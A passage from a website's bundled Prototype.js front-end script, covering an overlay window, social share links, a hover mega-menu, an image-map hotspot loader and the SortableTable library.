		var viewportDim = document.viewport.getDimensions();
		var bodyDim = this.body.getDimensions();

		var pageWidth = viewportDim.width;
		var pageHeight = Math.max(viewportDim.height, bodyDim.height);

		// Adjust wrapper width so container element is centered
		this.wrapper.setStyle({
			'width':	''+viewportDim.width+'px'
		});

		var position = 'fixed';
		if (this.options.positionTop !== undefined) {
			position = 'absolute';
			divTop = this.options.positionTop;
		} else {
			divTop = Math.floor((viewportDim.height-divHeight)*0.5);

			// IE6 "position: fixed" workaround
			if (Prototype.Browser.IE && (parseInt(navigator.userAgent.substring(navigator.userAgent.indexOf("MSIE")+5))<=6)) {
				position = 'absolute';
				divTop += offset.top;
			}
		}

		this.wrapper.setStyle({
			'position': position,
			'top': ''+divTop+'px'
		});

		// Resize overlay?
		pageWidth = Math.max(pageWidth,divWidth+divLeft);
		pageHeight = Math.max(pageHeight,divHeight+divTop);
		if ((this.overlay.width != pageWidth) ||
			(this.overlay.height != pageHeight)) {
			this.log('Overlay needs resizing from '+this.overlay.width+'x'+this.overlay.height+' to '+pageWidth+'x'+pageHeight);
			this.overlay.setSize(pageWidth,pageHeight);
		}
	},
	show: function() {
		if (this.shown) { return; }

		this.overlay.show();
		this.shown = true;

		// Allow placement and measuring
		this.wrapper.removeClassName('hidden');
		this.wrapper.setOpacity(0.0001);
		this.wrapper.show();

		this.overlay.show();

		// Position it
		this.position(false);

		// Poke sIFR?
		document.fire('custom:fontreplace');

		// Appear when callstack is empty (sIFR done etc.)
		this.show2.bind(this).defer();
	},
	show2: function() {
		this.wrapper.appear({
			duration: 0.3
		});
		this.log('startObserving');
		Event.observe(window,'scroll',this.onScrollBound);
		Event.observe(window,'resize',this.onResizeBound);
	},
	hide: function() {
		if (!this.shown) { return; }

		this.log('stopObserving');
		Event.stopObserving(window,'scroll',this.onScrollBound);
		Event.stopObserving(window,'resize',this.onResizeBound);

		this.wrapper.hide();
		this.overlay.hide();

		this.shown = false;
	}
});

if ( Object.isUndefined(Klean) ) { var Klean = { }; }

Klean.Overlay = Class.create({
	log: function(str) {
		site.log('[Overlay] '+str);
	},
	initialize: function(overlayId, options)
	{
		this.options = Object.extend({
			background:		'#ffffff',
			opacity:		0.75,
			observeResize:	true
		}, options || { });

		this.body = document.getElementsByTagName('body');
		this.body = $(this.body[0]);
		
		this.id = overlayId;
		this.overlay = null;

		this.height = 0;
		this.width = 0;
	},
	
	show: function()
	{
		if ( !this.overlay )
		{
			this.overlay = new Element('div', { id: this.id });
			this.overlay.setStyle({
				'display':			'none',
				'backgroundColor':	this.options.background,
				'position':			'absolute',
				'zIndex':			998
			});	

			this.body.insert(this.overlay);
			
			this.setSize();
			this.overlay.setOpacity(this.options.opacity);
		}
		if (this.options.observeResize) {
			Event.observe(window, 'resize', this.onResize.bindAsEventListener(this));
		}
		this.overlay.show();
	},
	
	hide: function()
	{
		if ( this.overlay )
		{
			this.overlay.hide();
			if (this.options.observeResize) {
				Event.stopObserving(window, 'resize', this.onSesize.bindAsEventListener(this));
			}
		}
	},

	setSize: function(width,height)
	{
		if ((undefined===height) || (undefined===width)) {
			var vpDim = document.viewport.getDimensions();
			var bdDim = this.body.getDimensions();
			if (undefined===width) { width = vpDim.width; }
			if (undefined===height) { height = Math.max(vpDim.height, bdDim.height); }
		}

		this.overlay.setStyle({
			top:	'0',
			left:	'0',
			height:	'' + height + 'px',
			width:	'' + width + 'px'
		});

		// For external reference
		this.width = width;
		this.height = height;

	},
	
	onResize: function(e) {
		this.setSize.bind(this).defer();
	}
});
var Share = Class.create({
	initialize: function(divId) {
		this.divId = divId;
		this.div = $(divId);
		this.shareLinks = new ShareLinks();

		// Listen for actionhandler events
		document.observe('action:shareshow',(function(evt){
			this._show();
		}).bindAsEventListener(this));
		document.observe('action:shareopen',(function(evt){
			this.open(evt.memo.data.service);
		}).bindAsEventListener(this));
	},
	_show: function() {
		document.fire('overlaywindow:show',{'element': this.div});	
	},
	open: function(service) {
		this.hide();
		this.shareLinks.open(service);
	},
	show: function() {
		site.log('Please use the action:shareshow event instead of show()');
		this._show();
	},
	hide: function() {
		site.log('Please use an action element with the class "action_overlaywindowclose" instead of calling hide() to close the share window.');
		document.fire('overlaywindow:show');
	},
	effectEnds: function() {
		this.effects--;
	},
	checkfield: function(elementId,re) {
		var element = $(elementId);
		if (element.value.match(re)!=null) { return true; }

		/*
		var parentelement = element.up('.field');
		//parentelement.removeClassName('warning');
		//parentelement.addClassName('warning');
		*/

		new Effect.Highlight(element,{
			startcolor: '#ffaaaa',
			endcolor: '#ffffff',
			duration: 0.3,
			queue: 'end'
		});

		return false;
	},
	submit: function() {
		// Check for errors
		var errors=0;
		if (!this.checkfield('share_friendmail',/^[\.\-\w]+@[\.\-\w+]\.\w+$/)) { errors++; }
		if (!this.checkfield('share_username',/^\w+$/)) { errors++; }
		if (errors) { return false; }

		// Submit form!
		//alert("[form submit]");
		return false;
	}
});

var ShareLinks = Class.create({
	open: function(serviceStr) {
		// Service definition
		var services = {
			'facebook':		'http://www.facebook.com/share.php?u={url}&t={title}',
			'twitter':		'http://twitter.com/home?status={title}+-+{url}',
			'delicious':	'http://delicious.com/post?url={url}&title={title}&notes=',
			'stumpleupon':	'http://www.stumbleupon.com/submit?url={url}&title={title}',
			'google':		'http://www.google.com/bookmarks/mark?op=add&bkmk={url}&title={title}&annotation=',
			'live':			'https://favorites.live.com/quickadd.aspx?marklet=1&mkt=en-us&url={url}&title={title}&top=1'
		};
		// Report missing service
		if (services[serviceStr]===undefined) {
			alert('Unknown ShareIt service specified: '+serviceStr);
			return;
		}
		// Build URL
		var shareURL = services[serviceStr];
		shareURL = shareURL.replace('{url}',encodeURIComponent(location.href));
		shareURL = shareURL.replace('{title}',encodeURIComponent(document.title));
		// Open URL
		window.open(shareURL);
	}
});	

if(!IDE){
    var IDE = {};
};

function props(obj){
    for(var i in obj){
        console.log(i, obj[i]);
    }
}


IDE.megamenu = function(){
    var that = {};

    // ID from setTimeOut: used to remove pending methods
    that.setTimeoutID = null;

    // classname of hovered menu item link
    that.currentTarget = null;

    // show the current hovered item
    that.showMegaItem = function(){
        var content_div = that.currentItem.select('div.mega-item-content')[0];

        // show the div
        content_div.setStyle({display:'block'});        
        
        // set the style of menu li element
        that.currentItem.addClassName('hover');
        
     // hide the object tags
      /* $$('iframe')[0].setStyle({visibility:'visible'});    
       $$('object')[0].setStyle({visibility:'visible'});    */
        var oelemts = $$('object');
        oelemts.each(function(x) {
            x.setStyle({visibility:'hidden'});
        });
      // hide the iframe tags
       var ielemts = $$('iframe');
       ielemts.each(function(y) {
            y.setStyle({visibility:'hidden'});
        });

    };

    // Hide the currently hovered item
    that.hideMegaItem = function(){
        if(that.currentItem == this)
            return;

        var content_div = that.currentItem.select('div.mega-item-content')[0];

        // hide the div
        content_div.setStyle({display:'none'});        
              
        that.currentItem.removeClassName('hover');
        
     // hide the object tags
      /* $$('iframe')[0].setStyle({visibility:'visible'});    
       $$('object')[0].setStyle({visibility:'visible'});    */
        var oelemts = $$('object');
        oelemts.each(function(x) {
            x.setStyle({visibility:'visible'});
        });
      // hide the iframe tags
       var ielemts = $$('iframe');
       ielemts.each(function(y) {
            y.setStyle({visibility:'visible'});
        });
    };

    that.mouseOverMegaItem = function(ev){
        if(that.timeoutID){
            // turn off the delayed show of the mega-menu
            clearTimeout(that.timeoutID);            
        }
        // if another mega item menu is currently shown hide it
        if(that.currentItem && that.currentItem != this){
            that.hideMegaItem();
        }
        that.currentItem = this;
        that.timeoutID = window.setTimeout(that.showMegaItem, 500);  
    };

    that.mouseOutMegaItem = function(ev){
        if(that.timeoutID){
            // turn off the delayed show of the mega-menu
            clearTimeout(that.timeoutID);            
        }
        that.currentItem = this;
        that.timeoutID = window.setTimeout(that.hideMegaItem, 250);  
    };

    that.addMenuItemsHoverListener = function(){
        $$('.mega-item').each(
            function(item){
                // YEAH. mouseenter and mouseleave events
                // added to prototype 1.6.1
                item.observe('mouseenter', that.mouseOverMegaItem);
                // turned of for now
                item.observe('mouseleave', that.mouseOutMegaItem);
            }
        );
    };

    that.init = function(){
        that.addMenuItemsHoverListener();
        return that;
    };

    return that.init();
};

document.observe("dom:loaded", function() {
   IDE.megamenu();
});
if (Object.isUndefined(CodeCompany)) { var CodeCompany = {}; }

CodeCompany.ImageMap = Class.create({

	log: function(str) {
		if (!Object.isUndefined(site)) { site.log('ImageMap: '+str); }
	},

	initialize: function(imageElement,options) {
		// Get dimensions from image
		this.width = imageElement.getWidth();
		this.height = imageElement.getHeight();

		//this.log('ImageMap ('+this.width+'x'+this.height+')');

		this.options = Object.extend({
			pointDefaults: {
				infoHtml:		'&nbsp;',
				popupHtml:		'[popup]',
				xPosition:		0,
				yPosition:		0,
				xOffset:		0,
				yOffset:		0,
				appearDuration: 0.5,
				fadeDuration:	0.5
			}
		},options || {});

		// Instantiate appContainer container and wrap imageElement in it
		this.appContainer = new Element('div');
		this.appContainer.addClassName('imagemap_container');
		this.appContainer.style.width = this.width+'px';
		this.appContainer.style.height = this.height+'px';
		imageElement.wrap(this.appContainer);

		// Instantiate pointsContainer and add to appContainer
		this.pointsContainer = new Element('div');
		this.pointsContainer.addClassName('imagemap_points');
		this.pointsContainer.style.position = 'absolute';
		this.appContainer.insert({top: this.pointsContainer});

		// Tweak image
		imageElement.addClassName('imagemap_image');

		// Array of points
		this.points = [];

		//this.log('Initialized');
	},

	addPoint: function(options) {

		if (undefined===options.xPosition) { return; }
		if (undefined===options.yPosition) { return; }

		// We'll be calculating with these, so make sure they're integers
		options.xPosition = parseInt(options.xPosition,10);
		options.yPosition = parseInt(options.yPosition,10);

		if ((options.xPosition<0) || (options.xPosition>=this.width) ||
			(options.yPosition<0) || (options.yPosition>=this.height)) {
			this.log('Point at '+options.xPosition+','+options.yPosition+' outside image ('+this.width+'x'+this.height+')');
			return undefined;
		}

		var point = new CodeCompany.ImageMapPoint(
			this.pointsContainer,
			Object.extend(
				Object.extend(this.options.pointDefaults,options||{}),{
					containerWidth: this.width,
					containerHeight: this.height
				}
			)
		);
		this.points.push(point);
		return point;
	}

});


CodeCompany.ImageMapPoint = Class.create({

	log: function(str) {
		if (!Object.isUndefined(site)) { site.log('ImageMapPoint: '+str); }
	},

	initialize: function(pointsContainer,options) {
		this.options = Object.extend({
			infoHtml:			'',
			popupHtml:			'',
			xPosition:			0,
			yPosition:			0,
			xOffset:			0,
			yOffset:			0,
			appearDuration:		0.5,
			fadeDuration:		0.5,
			rolloutDuration:	0.2,	// Box appear/disappear
			rightEdge:			170,
			rightEdgeOffset:	154,
			rightEdgeClassName:	'imagemap_point_onRightEdge',
			bottomEdge:			100,
			bottomEdgeOffset:	70,
			bottomEdgeClassName:'imagemap_point_onBottomEdge',
			poppedClassName:	'imagemap_point_popped'
		},options || {});

		this.popped = false;

		// Create point container
		this.container = new Element('div');
		this.container.hide();
		this.container.addClassName('imagemap_point');
		this.container.style.position = 'absolute';

		// Create point subcontainer (because IE6 refuses to understand chained CSS classes)
		this.subcontainer = new Element('div');
		this.subcontainer.wrap(this.container);

		this.positionContainer();

		// Create info element
		this.info = new Element('div');
		this.info.addClassName('imagemap_point_info');
		this.info.update(this.options.infoHtml);
		this.infoContainer = new Element('div');
		this.infoContainer.setStyle({
			'margin': 0 /* Required to override general CSS rule in doc_fryd.css:80 */
		});
		this.infoContainer.addClassName('imagemap_point_infocontainer');
		this.info.wrap(this.infoContainer);
		this.subcontainer.insert({bottom: this.infoContainer});

		// Create popup element
		this.popup = new Element('div');
		this.popup.hide();
		this.popup.addClassName('imagemap_point_popup');
		this.popup.update(
			'<div class="imagemap_point_popup_inner">'+
				this.options.popupHtml+
			'</div>'
		);
		this.popupContainer = new Element('div');
		this.popupContainer.addClassName('imagemap_point_popupcontainer');
		this.popup.wrap(this.popupContainer);
		this.subcontainer.insert({bottom: this.popupContainer});

		pointsContainer.insert({top: this.container});

		this.container.appear({duration: this.options.appearDuration});

		// Popup effect
		this.popupEffect1 = undefined;
		this.popupEffect2 = undefined;

		// Observers
		this.container.observe('mouseenter',this.onMouseEnter.bindAsEventListener(this));
		this.container.observe('mouseleave',this.onMouseLeave.bindAsEventListener(this));

		this.log('Point added at '+this.options.xPosition+','+this.options.yPosition);
	},

	positionContainer: function() {
		// Initial position coordinates
		var	x = this.options.xPosition + this.options.xOffset;
		var y = this.options.yPosition + this.options.yOffset;

		// Close to right edge?
		 if (this.options.rightEdge !== undefined) {
			if (x>this.options.containerWidth-this.options.rightEdge) {
				// Adjust x position?
				this.log("on right edge");
				if (this.popped && (this.options.rightEdgeOffset !== undefined)) { x -= this.options.rightEdgeOffset; }
				// Add class?
				if (this.options.rightEdgeClassName !== undefined) { this.subcontainer.addClassName(this.options.rightEdgeClassName); }
			} else {
				// Remove class?
				if (this.options.rightEdgeClassName !== undefined) { this.subcontainer.removeClassName(this.options.rightEdgeClassName); }
			}
		}

		// Close to bottom edge?
		if (this.options.bottomEdge !== undefined) {
			if (y>this.options.containerHeight-this.options.bottomEdge) {
				// Adjust y position?
				if (this.popped && (this.options.bottomEdgeOffset !== undefined)) { y -= this.options.bottomEdgeOffset; }
				// Add class?
				if (this.options.bottomEdgeClassName !== undefined) { this.subcontainer.addClassName(this.options.bottomEdgeClassName); }
			} else {
				// Remove class?
				if (this.options.bottomEdgeClassName !== undefined) { this.subcontainer.removeClassName(this.options.bottomEdgeClassName); }
			}
		}

		// Position element
		this.container.setStyle({
			'left':		x+'px',
			'top':		y+'px'
		});
	},

	cancelEffects: function() {
		this.log("Cancelling effects..");
		if (!Object.isUndefined(this.popupEffect1)) { this.popupEffect1.cancel(); }
		if (!Object.isUndefined(this.popupEffect2)) { this.popupEffect2.cancel(); }
	},

	onMouseEnter: function(event) {
		this.log("onMouseEnter()");
		this.cancelEffects();

		this.container.addClassName(this.options.poppedClassName);
		this.popped = true;
		this.positionContainer();

		this.popupEffect2 = new Effect.Appear(this.popup,{
			duration: this.options.rolloutDuration
		});
	},

	onMouseLeave: function(event,point) {
		this.log("onMouseLeave()");
		this.cancelEffects();

		this.popupEffect2 = new Effect.Fade(this.popup,{
			duration: this.options.rolloutDuration,
			afterFinish: this.afterMouseLeaveEffect.bind(this)
		});
	},

	afterMouseLeaveEffect: function() {
		this.container.removeClassName(this.options.poppedClassName);
		this.popped = false;
		this.positionContainer();
	},

	getContainerElement: function() {
		return this.container;
	}

});



if (Object.isUndefined(CodeCompany)) { var CodeCompany = {}; }

CodeCompany.ImageMapLoader = Class.create({

	log: function(str) {
		if (!Object.isUndefined(site)) { site.log('ImageMapLoader: '+str); }
	},

	initialize: function(options) {
		this.options = Object.extend({
			maxTextLength:		15,
			textTruncator:		'&hellip;',
			elementSelector:	'img:not(.overlayable)'
		},options || {});

		// Run through images and match on regular expression
		var count = 0;
		$$(this.options.elementSelector).each(function(element){
			var match = element.src.match(/miljo(\d+)\./);
			if (match!==null) {
				this.createImageMap(element,RegExp.$1);
				count++;
			}
		},this);
		if (count === 0) {
			this.log('No matching images in this page');
		}
	},

	createImageMapFromJSON: function(im,jsonStr) {
		var json;
		try { json=jsonStr.evalJSON(); }
		catch (error) {
			this.log('Malformed JSON: '+jsonStr);
			return;
		}
		json.each(function(point){
			if ((undefined===point.xcoord) || (point.xcoord==='')) { return; }
			if ((undefined===point.ycoord) || (point.ycoord==='')) { return; }
			if (undefined===point.link) { point.link=''; }
			if (undefined===point.text) { point.text=''; }
			point.opennew = (point.opennew===true);

			// Bail out if link is empty
			if (point.link=='') {
				return;
			}

			// Build link text
			var text = '';
			point.text.split('|').each(function(line){
				var title = '';	

				// Truncate text?
				if ((this.options.maxTextLength!==undefined) && (line.length>this.options.maxTextLength)) {
					title = line;
					line = line.substr(0,this.options.maxTextLength-1)+this.options.textTruncator;
				}

				// Escape link text
				line = line
					.replace('>','&gt;')
					.replace('<','&lt;');

				// Escape title
				title = title
					.replace('"','&quot;');

				text += '<span title="'+title+'">'+line+'</span><br />';
			},this);

			// Build popupHTML
			var popupHTML;
			if (point.link != '') {
				popupHTML = '<a href="'+point.link+'"';
				if (point.opennew) { popupHTML += ' target="_blank"'; }
				popupHTML += '>'+text+'</a>';
			} else {
				popupHTML = text;
			}

			// Encapsulate in .coloredlink
			popupHTML = '<div class="coloredlink">'+popupHTML+'</div>';

			// Add point
			im.addPoint(Object.extend({
				'xPosition':	point.xcoord,
				'yPosition':	point.ycoord,
				'xOffset':		-20,
				'yOffset':		-20,
				'popupHtml':	popupHTML
			},this.options.point || {}));

		},this);
	},

	createImageMap: function(element,docId) {
		this.log('Creating ImageMap for element with docId '+docId);

		// Instantiate ImageMap
		var im = new CodeCompany.ImageMap(element);

		var url = '/systemservice/miljo?docId='+docId;
		new Ajax.Request(url,{
			method: 'get',
			onSuccess: (function(transport){
				this.createImageMapFromJSON(im,transport.responseText);
			}).bind(this),
			onError: (function(transport){
				this.log('JSON request failed: '+url);
			}).bind(this)
		});
	}

});



/*
*
* Copyright (c) 2006 Andrew Tetlaw 
* http://tetlaw.id.au/view/blog/table-sorting-with-prototype/
* 
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use, copy,
* modify, merge, publish, distribute, sublicense, and/or sell copies
* of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* 
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
* 
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
* * 
*/

var SortableTable = {
	init : function(elm, o){
		var table = $(elm);
		if(table.tagName != "TABLE") return;
		if(!table.id) table.id = "sortable-table-" + SortableTable._count++;
		Object.extend(SortableTable.options, o || {} );
		var doscroll = (SortableTable.options.tableScroll == 'on' || (SortableTable.options.tableScroll == 'class' && table.hasClassName(SortableTable.options.tableScrollClass)));
		var sortFirst;
		var cells = SortableTable.getHeaderCells(table);
		cells.each(function(c){
			c = $(c);
			if(!doscroll) {
				Event.observe(c, 'click', SortableTable._sort.bindAsEventListener(c));
				c.addClassName(SortableTable.options.columnClass);
			}
			if(c.hasClassName(SortableTable.options.sortFirstAscendingClass) || c.hasClassName(SortableTable.options.sortFirstDecendingClass)) sortFirst = c;
		});

		if(sortFirst) {
			if(sortFirst.hasClassName(SortableTable.options.sortFirstAscendingClass)) {
				SortableTable.sort(table, sortFirst, 1);
			} else {
				SortableTable.sort(table, sortFirst, -1);
			}
		} else { // just add row stripe classes
			var rows = SortableTable.getBodyRows(table);
			rows.each(function(r,i) {
				SortableTable.addRowClass(r,i);
			});
		}
		if(doscroll) SortableTable.initScroll(table);
	},
	initScroll : function(elm){
		var table = $(elm);
		if(table.tagName != "TABLE") return;
		table.addClassName(SortableTable.options.tableScrollClass);
		
		var w = table.getDimensions().width;
		
		table.setStyle({
			'border-spacing': '0',
			'table-layout': 'fixed',
			width: w + 'px'
		});
		
		var cells = SortableTable.getHeaderCells(table);
		cells.each(function(c,i){
			c = $(c);
			var cw = c.getDimensions().width;
			c.setStyle({width: cw + 'px'});
			$A(table.tBodies[0].rows).each(function(r){
				$(r.cells[i]).setStyle({width: cw + 'px'});
			})
		})	
		
		// Fixed Head
		var head = (table.tHead && table.tHead.rows.length > 0) ? table.tHead : table.rows[0];
		var hclone = head.cloneNode(true);
		
		var hdiv = $(document.createElement('div'));
		hdiv.id = table.id + '-head';
		table.parentNode.insertBefore(hdiv, table);
		hdiv.setStyle({
			overflow: 'hidden'
		});
		var htbl = $(document.createElement('table'));
		htbl.setStyle({
			'border-spacing': '0',
			'table-layout': 'fixed',
			width: w + 'px'
		});
		hdiv.appendChild(htbl);
		hdiv.addClassName('scroll-table-head');
		
		table.removeChild(head);
		htbl.appendChild(hclone);
		
		cells = SortableTable.getHeaderCells(htbl);
		cells.each(function(c){
			c = $(c);
			Event.observe(c, 'click', SortableTable._sortScroll.bindAsEventListener(c));
			c.addClassName(SortableTable.options.columnClass);
		});	

		// Table Body
		var cdiv = $(document.createElement('div'));
		cdiv.id = table.id + '-body';
		table.parentNode.insertBefore(cdiv, table);
		cdiv.setStyle({
			overflow: 'auto'
		});
		cdiv.appendChild(table);
		cdiv.addClassName('scroll-table-body');
		
		hdiv.scrollLeft = 0;
		cdiv.scrollLeft = 0;

		Event.observe(cdiv, 'scroll', SortableTable._scroll.bindAsEventListener(table), false);
		if(table.offsetHeight - cdiv.offsetHeight > 0){
			cdiv.setStyle({width:(cdiv.getDimensions().width + 16) + 'px'})
		}
	},
	_scroll: function(){
        $(this.id + '-head').scrollLeft  = $(this.id + '-body').scrollLeft;
    },
	_sort : function(e) {
		SortableTable.sort(null, this);
	},
	_sortScroll : function(e) {	
		var hdiv = $(this).up('div.scroll-table-head');
		var id = hdiv.id.match(/^(.*)-head$/);
		SortableTable.sort($(id[1]), this);
	},
	sort : function(table, index, order) {
		var cell;
		if(typeof index == 'number') {
			if(!table || (table.tagName && table.tagName != "TABLE")) return;
			index = Math.min(table.rows[0].cells.length, index);
			index = Math.max(1, index);
			index -= 1;
			cell = (table.tHead && table.tHead.rows.length > 0) ? $(table.tHead.rows[table.tHead.rows.length-1].cells[index]) : $(table.rows[0].cells[index]);
		} else {
			cell = $(index);
			table = table ? $(table) : table = cell.up('table');
			index = SortableTable.getCellIndex(cell)
		}
		var op = SortableTable.options;
		
		if(cell.hasClassName(op.nosortClass)) return;	
		order = order ? order : (cell.hasClassName(op.descendingClass) ? 1 : -1);

		var hcells = SortableTable.getHeaderCells(null, cell);
		$A(hcells).each(function(c,i){
			c = $(c);
			if(i == index) {
				if(order == 1) {
					c.removeClassName(op.descendingClass);
					c.addClassName(op.ascendingClass);
				} else {
					c.removeClassName(op.ascendingClass);
					c.addClassName(op.descendingClass);
				}
			} else {
				c.removeClassName(op.ascendingClass);
				c.removeClassName(op.descendingClass);
			}
		});

		var rows = SortableTable.getBodyRows(table);
		var datatype = SortableTable.getDataType(cell,index,table);
		rows.sort(function(a,b) {
			return order * SortableTable.types[datatype](SortableTable.getCellText(a.cells[index]),SortableTable.getCellText(b.cells[index]));
		});

		rows.each(function(r,i) {
			table.tBodies[0].appendChild(r);
			SortableTable.addRowClass(r,i);
		});
	},
	types : {
		number : function(a,b) {
			// This will grab the first thing that looks like a number from a string, so you can use it to order a column of various srings containing numbers.
			var calc = function(v) {
				v = parseFloat(v.replace(/^.*?([-+]?[\d]*\.?[\d]+(?:[eE][-+]?[\d]+)?).*$/,"$1"));
				return isNaN(v) ? 0 : v;
			}
			return SortableTable.compare(calc(a),calc(b));
		},
		text : function(a,b) {
			return SortableTable.compare(a ? a.toLowerCase() : '', b ? b.toLowerCase() : '');
		},
		casesensitivetext : function(a,b) {
			return SortableTable.compare(a,b);
		},
		datasize : function(a,b) {
			var calc = function(v) {
				var r = v.match(/^([-+]?[\d]*\.?[\d]+([eE][-+]?[\d]+)?)\s?([k|m|g|t]?b)?/i);
				var b = r[1] ? Number(r[1]).valueOf() : 0;
				var m = r[3] ? r[3].substr(0,1).toLowerCase() : '';
				switch(m) {
					case  'k':
						return b * 1024;
						break;
					case  'm':				
						return b * 1024 * 1024;
						break;
					case  'g':
						return b * 1024 * 1024 * 1024;
						break;
					case  't':
						return b * 1024 * 1024 * 1024 * 1024;
						break;
				}
				return b;
			}
			return SortableTable.compare(calc(a),calc(b));
		},
		'date-au' : function(a,b) {
			var calc = function(v) {
				var r = v.match(/^(\d{2})\/(\d{2})\/(\d{4})\s?(?:(\d{1,2})\:(\d{2})(?:\:(\d{2}))?\s?([a|p]?m?))?/i);
				var yr_num = r[3];
				var mo_num = parseInt(r[2])-1;
				var day_num = r[1];
				var hr_num = r[4] ? r[4] : 0;
				if(r[7] && r[7].toLowerCase().indexOf('p') != -1) {
					hr_num = parseInt(r[4]) + 12;
				}
				var min_num = r[5] ? r[5] : 0;
				var sec_num = r[6] ? r[6] : 0;
				return new Date(yr_num, mo_num, day_num, hr_num, min_num, sec_num, 0).valueOf();
			}
			return SortableTable.compare(a ? calc(a) : 0, b ? calc(b) : 0);
		},
		'date-us' : function(a,b) {
			var calc = function(v) {
				var r = v.match(/^(\d{2})\/(\d{2})\/(\d{4})\s?(?:(\d{1,2})\:(\d{2})(?:\:(\d{2}))?\s?([a|p]?m?))?/i);
				var yr_num = r[3];
				var mo_num = parseInt(r[1])-1;
				var day_num = r[2];
				var hr_num = r[4] ? r[4] : 0;
				if(r[7] && r[7].toLowerCase().indexOf('p') != -1) {
					hr_num = parseInt(r[4]) + 12;
				}
				var min_num = r[5] ? r[5] : 0;
				var sec_num = r[6] ? r[6] : 0;
				return new Date(yr_num, mo_num, day_num, hr_num, min_num, sec_num, 0).valueOf();
			}
			return SortableTable.compare(a ? calc(a) : 0, b ? calc(b) : 0);
		},
		'date-eu' : function(a,b) {
			var calc = function(v) {
				var r = v.match(/^(\d{2})-(\d{2})-(\d{4})/);
				var yr_num = r[3];
				var mo_num = parseInt(r[2])-1;
				var day_num = r[1];
				return new Date(yr_num, mo_num, day_num).valueOf();
			}
			return SortableTable.compare(a ? calc(a) : 0, b ? calc(b) : 0);
		},
		'date-iso' : function(a,b) {
			// http://delete.me.uk/2005/03/iso8601.html ROCK!
			var calc = function(v) {
			    var d = v.match(/([\d]{4})(-([\d]{2})(-([\d]{2})(T([\d]{2}):([\d]{2})(:([\d]{2})(\.([\d]+))?)?(Z|(([-+])([\d]{2}):([\d]{2})))?)?)?)?/);
			
			    var offset = 0;
			    var date = new Date(d[1], 0, 1);
			
			    if (d[3]) { date.setMonth(d[3] - 1) ;}
			    if (d[5]) { date.setDate(d[5]); }
			    if (d[7]) { date.setHours(d[7]); }
			    if (d[8]) { date.setMinutes(d[8]); }
			    if (d[10]) { date.setSeconds(d[10]); }
			    if (d[12]) { date.setMilliseconds(Number("0." + d[12]) * 1000); }
			    if (d[14]) {
			        offset = (Number(d[16]) * 60) + Number(d[17]);
			        offset *= ((d[15] == '-') ? 1 : -1);
			    }
			    offset -= date.getTimezoneOffset();
			    if(offset != 0) {
			    	var time = (Number(date) + (offset * 60 * 1000));
			    	date.setTime(Number(time));
			    }
				return date.valueOf();
			}
			return SortableTable.compare(a ? calc(a) : 0, b ? calc(b) : 0);

		},
		date : function(a,b) { // must be standard javascript date format
			if(a && b) {
				return SortableTable.compare(new Date(a),new Date(b));
			} else {
				return SortableTable.compare(a ? 1 : 0, b ? 1 : 0);
			}
			return SortableTable.compare(a ? new Date(a).valueOf() : 0, b ? new Date(b).valueOf() : 0);
		},
		time : function(a,b) {
			var d = new Date();
			var ds = d.getMonth() + "/" + d.getDate() + "/" + d.getFullYear() + " "
			return SortableTable.compare(new Date(ds + a),new Date(ds + b));
		},
		currency : function(a,b) {
			a = parseFloat(a.replace(/[^-\d\.]/g,''));
			b = parseFloat(b.replace(/[^-\d\.]/g,''));
			return SortableTable.compare(a,b);
		}
	},
	compare : function(a,b) {
		return a < b ? -1 : a == b ? 0 : 1;
	},
	detectors : $A([
		{re: /[\d]{4}-[\d]{2}-[\d]{2}(?:T[\d]{2}\:[\d]{2}(?:\:[\d]{2}(?:\.[\d]+)?)?(Z|([-+][\d]{2}:[\d]{2})?)?)?/, type : "date-iso"}, // 2005-03-26T19:51:34Z
		{re: /^sun|mon|tue|wed|thu|fri|sat\,\s\d{1,2}\sjan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec\s\d{4}(?:\s\d{2}\:\d{2}(?:\:\d{2})?(?:\sGMT(?:[+-]\d{4})?)?)?/i, type : "date"}, //Mon, 18 Dec 1995 17:28:35 GMT 
		{re: /^\d{2}-\d{2}-\d{4}/i, type : "date-eu"},
		{re: /^\d{2}\/\d{2}\/\d{4}\s?(?:\d{1,2}\:\d{2}(?:\:\d{2})?\s?[a|p]?m?)?/i, type : "date-au"},
		{re: /^\d{1,2}\:\d{2}(?:\:\d{2})?(?:\s[a|p]m)?$/i, type : "time"},
		{re: /^[$����]/, type : "currency"}, // dollar,pound,yen,euro,generic currency symbol
		{re: /^[-+]?[\d]*\.?[\d]+(?:[eE][-+]?[\d]+)?\s?[k|m|g|t]b$/i, type : "datasize"},
		{re: /^[-+]?[\d]*\.?[\d]+(?:[eE][-+]?[\d]+)?/, type : "number"},
		{re: /^[A-Z]+$/, type : "casesensitivetext"},
		{re: /.*/, type : "text"}
	]),
	addSortType : function(name, sortfunc) {
		SortableTable.types[name] = sortfunc;
	},
	addDetector : function(rexp, name) {
		SortableTable.detectors.unshift({re:rexp,type:name});
	},
	getBodyRows : function(table) {
		table = $(table);
		return (table.hasClassName(SortableTable.options.tableScrollClass) || table.tHead && table.tHead.rows.length > 0) ? 
					$A(table.tBodies[0].rows) : $A(table.rows).without(table.rows[0]);
	},
	addRowClass : function(r,i) {
		r = $(r)
		r.removeClassName(SortableTable.options.rowEvenClass);
		r.removeClassName(SortableTable.options.rowOddClass);
		r.addClassName(((i+1)%2 == 0 ? SortableTable.options.rowEvenClass : SortableTable.options.rowOddClass));
	},
	getHeaderCells : function(table, cell) {
		if(!table) table = $(cell).up('table');
		return $A((table.tHead && table.tHead.rows.length > 0) ? table.tHead.rows[table.tHead.rows.length-1].cells : table.rows[0].cells);
	},
	getCellIndex : function(cell) {
